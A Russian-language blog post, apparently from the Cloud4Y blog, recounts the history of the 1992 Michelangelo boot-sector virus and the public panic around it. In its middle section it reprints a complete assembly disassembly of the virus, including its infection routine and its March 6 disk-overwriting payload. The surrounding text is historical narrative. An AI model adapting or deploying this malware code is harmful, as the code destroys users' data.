
Michelangelo — первое вредоносное ПО, которое получило широкую огласку в новостных СМИ. Одним из первых его заметил владелец компьютерного магазина в австралийском Мельбурне. После установки нескольких программ на мониторе появилось большое количество странных символов. Дальнейшее расследование показало, что он невольно загрузил вирус в систему. 6 марта 1992 года вирус активировался, перезаписав данные на жёстком диске компьютеров, которые были заражены.
Исследователи выяснили, что Michelangelo заражал загрузочные сектора гибких дискет и жёстких дисков. Интересно, что весь год DOS-вирус вёл себя пассивно, вредя людям только 6 марта. Если компьютер в этот день был выключен, с ним ничего не происходило. Каждый год в этот день при загрузке инфицированной системы «Микеланджело» записывал произвольные данные в случайном порядке на диск и тем самым выводил компьютер из строя. Поскольку 6 марта — день рождения великого художника эпохи Возрождения Микеланджело, вирус был назван в его честь. Другие его названия: Stoned.March6.a и Stoned.Michelangelo
Никто так и не узнал, кто написал вирус. Предполагается, что он появился где-то на Тайване, но убедительных доказательств этому так и не было. Выяснилось, что Michelangelo уничтожает загрузочные сектора дисков, что, в свою очередь, приводит к уничтожению данных на дискетах и жёстком диске компьютера.
Принцип работы
«Микеланджело» — вирус загрузочного сектора, разновидность вредоносного ПО, которое заражает загрузочный сектор жёсткого диска или, что более важно, основную загрузочную запись (MBR) жёсткого диска. Вирус был разработан для заражения DOS систем и работал на уровне BIOS. Заразив компьютер AT или PS/2, Michelangelo перезаписывал первые сто секторов жёсткого диска нулями.
Микеланджело был основан на вирусе Stoned , который известен с 1987 года и также известен под названием Marijuana или New Zealand Virus. Код вируса был изменён, чтобы антивирусные программы не могли его распознавать.
При работе с заражённым носителем данных Микеланджело резервирует два килобайта системной памяти по адресу 40h: 13h. Затем код вируса копируется в эту область. При наличии жёсткого диска вирус считывает MBR и проверяет, не заражён ли он. Затем, Микеланджело сравнивает первые 4 байта главного загрузочного сектора с первыми байтами своего собственного кода. Если они не совпадают, вирус пытается заразить устройство.
На жёстких дисках вирус перемещает исходную главную загрузочную запись в цилиндр 0, головку 0, сектор 7.
На гибких дисках, если диск равен 360 КБ, вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 3.
На других дисках вирус перемещает исходный загрузочный сектор в цилиндр 0, головку 1, сектор 14.
Хотя вирус предназначен для заражения DOS-систем, он может легко разрушить другие операционные системы, поскольку заражает главную загрузочную запись жёсткого диска. Как только компьютер заражается любая вставленная дискета, на которую выполняется запись (в 1992 году вирус не мог заразить дискету до тех пор, пока не будет дан доступ к диску), также немедленно заражается. А поскольку вирус проводит большую часть своего времени в спящем состоянии, активируясь только 6 марта, вполне возможно, что заражённый компьютер мог годами оставаться незамеченным — до тех пор, пока не будет включён шестого марта.
Код Michelangelo
; This is a disassembly of the much-hyped michelangelo virus. ; As you can see, it is a derivative of the Stoned virus. The ; junk bytes at the end of the file are probably throwbacks to ; the Stoned virus. In any case, it is yet another boot sector ; and partition table infector. michelangelo segment byte public assume cs:michelangelo, ds:michelangelo ; Disassembly by Dark Angel of PHALCON/SKISM org 0 jmp entervirus highmemjmp db 0F5h, 00h, 80h, 9Fh maxhead db 2 ; used by damagestuff firstsector dw 3 oldint13h dd 0C8000256h int13h: push ds push ax or dl, dl ; default drive? jnz exitint13h ; exit if not xor ax, ax mov ds, ax test byte ptr ds:[43fh], 1 ; disk 0 on? jnz exitint13h ; if not spinning, exit pop ax pop ds pushf call dword ptr cs:[oldint13h]; first call old int 13h pushf call infectdisk ; then infect popf retf 2 exitint13h: pop ax pop ds jmp dword ptr cs:[oldint13h] infectdisk: push ax push bx push cx push dx push ds push es push si push di push cs pop ds push cs pop es mov si, 4 readbootblock: mov ax,201h ; Read boot block to mov bx,200h ; after virus mov cx,1 xor dx,dx pushf call oldint13h jnc checkinfect ; continue if no error xor ax,ax pushf call oldint13h ; Reset disk dec si ; loop back jnz readbootblock jmp short quitinfect ; exit if too many failures checkinfect: xor si,si cld lodsw cmp ax,[bx] ; check if already infected jne infectitnow lodsw cmp ax,[bx+2] ; check again je quitinfect infectitnow: mov ax,301h ; Write old boot block mov dh,1 ; to head 1 mov cl,3 ; sector 3 cmp byte ptr [bx+15h],0FDh ; 360k disk? je is360Kdisk mov cl,0Eh is360Kdisk: mov firstsector,cx pushf call oldint13h jc quitinfect ; exit on error mov si,200h+offset partitioninfo mov di,offset partitioninfo mov cx,21h ; Copy partition table cld rep movsw mov ax,301h ; Write virus to sector 1 xor bx,bx mov cx,1 xor dx,dx pushf call oldint13h quitinfect: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax retn entervirus: xor ax,ax mov ds,ax cli mov ss,ax mov ax,7C00h ; Set stack to just below mov sp,ax ; virus load point sti push ds ; save 0:7C00h on stack for push ax ; later retf mov ax,ds:[13h*4] mov word ptr ds:[7C00h+offset oldint13h],ax mov ax,ds:[13h*4+2] mov word ptr ds:[7C00h+offset oldint13h+2],ax mov ax,ds:[413h] ; memory size in K dec ax ; 1024 K dec ax mov ds:[413h],ax ; move new value in mov cl,6 shl ax,cl ; ax = paragraphs of memory mov es,ax ; next line sets seg of jmp mov word ptr ds:[7C00h+2+offset highmemjmp],ax mov ax,offset int13h mov ds:[13h*4],ax mov ds:[13h*4+2],es mov cx,offset partitioninfo mov si,7C00h xor di,di cld rep movsb ; copy to high memory ; and transfer control there jmp dword ptr cs:[7C00h+offset highmemjmp] ; destination of highmem jmp xor ax,ax mov es,ax int 13h ; reset disk push cs pop ds mov ax,201h mov bx,7C00h mov cx,firstsector cmp cx,7 ; hard disk infection? jne floppyboot ; if not, do floppies mov dx,80h ; Read old partition table of int 13h ; first hard disk to 0:7C00h jmp short exitvirus floppyboot: mov cx,firstsector ; read old boot block mov dx,100h ; to 0:7C00h int 13h jc exitvirus push cs pop es mov ax,201h ; read boot block mov bx,200h ; of first hard disk mov cx,1 mov dx,80h int 13h jc exitvirus xor si,si cld lodsw cmp ax,[bx] ; is it infected? jne infectharddisk ; if not, infect HD lodsw ; check infection cmp ax,[bx+2] jne infectharddisk exitvirus: xor cx,cx ; Real time clock get date mov ah,4 ; dx = mon/day int 1Ah cmp dx,306h ; March 6th je damagestuff retf ; return control to original ; boot block @ 0:7C00h damagestuff: xor dx,dx mov cx,1 smashanothersector: mov ax,309h mov si,firstsector cmp si,3 je smashit mov al,0Eh cmp si,0Eh je smashit mov dl,80h ; first hard disk mov maxhead,4 mov al,11h smashit: mov bx,5000h ; random memory area mov es,bx ; at 5000h:5000h int 13h ; Write al sectors to drive dl jnc skiponerror ; skip on error xor ah,ah ; Reset disk drive dl int 13h skiponerror: inc dh ; next head cmp dh,maxhead ; 2 if floppy, 4 if HD jb smashanothersector xor dh,dh ; go to next head/cylinder inc ch jmp short smashanothersector infectharddisk: mov cx,7 ; Write partition table to mov firstsector,cx ; sector 7 mov ax,301h mov dx,80h int 13h jc exitvirus mov si,200h+offset partitioninfo ; Copy partition mov di,offset partitioninfo ; table information mov cx,21h rep movsw mov ax,301h ; Write to sector 8 xor bx,bx ; Copy virus to sector 1 inc cl int 13h ;* jmp short 01E0h db 0EBh, 32h ; ?This should crash? ; The following bytes are meaningless. garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h partitioninfo: db 42h dup (0) michelangelo ends end
Истерия в обществе
Поскольку опасность была вовремя обнаружена, «Микеланджело» не вызвал заметных проблем в год своего открытия. Постепенно он распространился по всему миру. Исследования в Европе показали, что вирус в основном распространялся через диски с драйверами для компьютерной техники из Восточной Азии, и по мере приближения 6 марта 1992 года среди владельцев и пользователей компьютеров царила нарастающая истерия.
Это была бомба замедленного действия, которую легко было описать в новостях. И эта история стала идеальным сюжетом для запугивания публики. Принял участие в запугивании публики и Джон Макафи, который заявил в интервью, что сотни тысяч компьютеров по всему миру станут 6 марта жертвами Michelangelo.Совет по борьбе со зловредом был весьма необычным: пользователям рекомендовали не включать компьютер 6 марта или перевести дату сразу на седьмое марта.

Хотя компьютеры в те времена были далеко не у всех, существовал большой спрос на детекторы вирусов и антивирусное ПО. Компьютерные магазины предлагали эти программы бесплатно, как и некоторые вузы. Гамбургский университет насчитал более 20 000 запросов на такие программы за несколько недель до 6 марта 1992 года.
Особенно активно следили за происходящим в Германии и США. Федеральное управление по информационной безопасности (BSI) в период с 17 февраля 1992 г. по 1 марта 1992 г. приняло около 1000 звонков по общим и конкретным вопросам, касающимся компьютерных вирусов и антивирусных программ. Было вынесено официальное предупреждение об угрозе. В феврале 1992 года появилась инструкция по защите от Микеланджело.

До «дня X» Michelangelo поразил 1300 компьютеров в ФРГ, но эксперты считают, что реальное число в 10 раз больше. Никто не знает, сколько ПК пострадало во всем мире. 6 марта 1992 г. утренние новости в Германии сообщили о первых инцидентах с вирусом в Уругвае. Системное время на некоторых военных компьютерах было установлено неправильно, поэтому полезная нагрузка Микеланджело сработала преждевременно. Также известно, что вирус вызвал потерю данных примерно на 1500 компьютерах в Германии. Сообщается, что в Великобритании пострадали 117 ПК. В Соединённых Штатах, где истерия была самой большой, зафиксировано около 7000 жалоб. McAfee сообщила о почти 10 000. В Южной Африке обнаружили около 1000 заражённых компьютеров в аптеках, который получали прейскуранты в электронном виде. Оптовик как обычно отправил им дискеты, которые оказались заражены вирусом.
В целом, панические настроения не оправдались, всё прошло относительно спокойно. Symantec AntiVirus Research Center утверждает, что после 6 марта 1992 года известно всего о двух случаях заражения компьютеров Michelangelo. По другим данным, в Германии зафиксировали 50 инцидентов с вирусом в 1993 году и менее 20 — в 1994 году.
«Микеланджело» не был первым компьютерным вирусом. Но стал первым, кто заставил широкую общественность узнать о хаосе, который могут вызвать вредоносные программы. Это событие стало мощным толчком к зарождению полноценной антивирусной индустрии. Например, компания McAfee привлекла инвестиции в размере 42 млн долларов, а владельцы компьютеров по всему миру бросились скупать антивирусные продукты McAfee.
P.S. Возможно, вы заметили, что в фильме "Хакеры" 1995 фигурирует вирус "Да Винчи" — название явно было отсылкой к Michelangelo.
Что ещё интересного есть в блоге Cloud4Y
→ История Game Genie — чит-устройства, которое всколыхнуло мир
→ Сделайте Linux похожим на Windows 95
→ Как не позволить техническому долгу одолеть вас
→ WD-40: средство, которое может почти всё
→ 30 лучших Python-проектов на GitHub на начало 2022 года
Подписывайтесь на наш Telegram-канал, чтобы не пропустить очередную статью. Пишем только по делу.
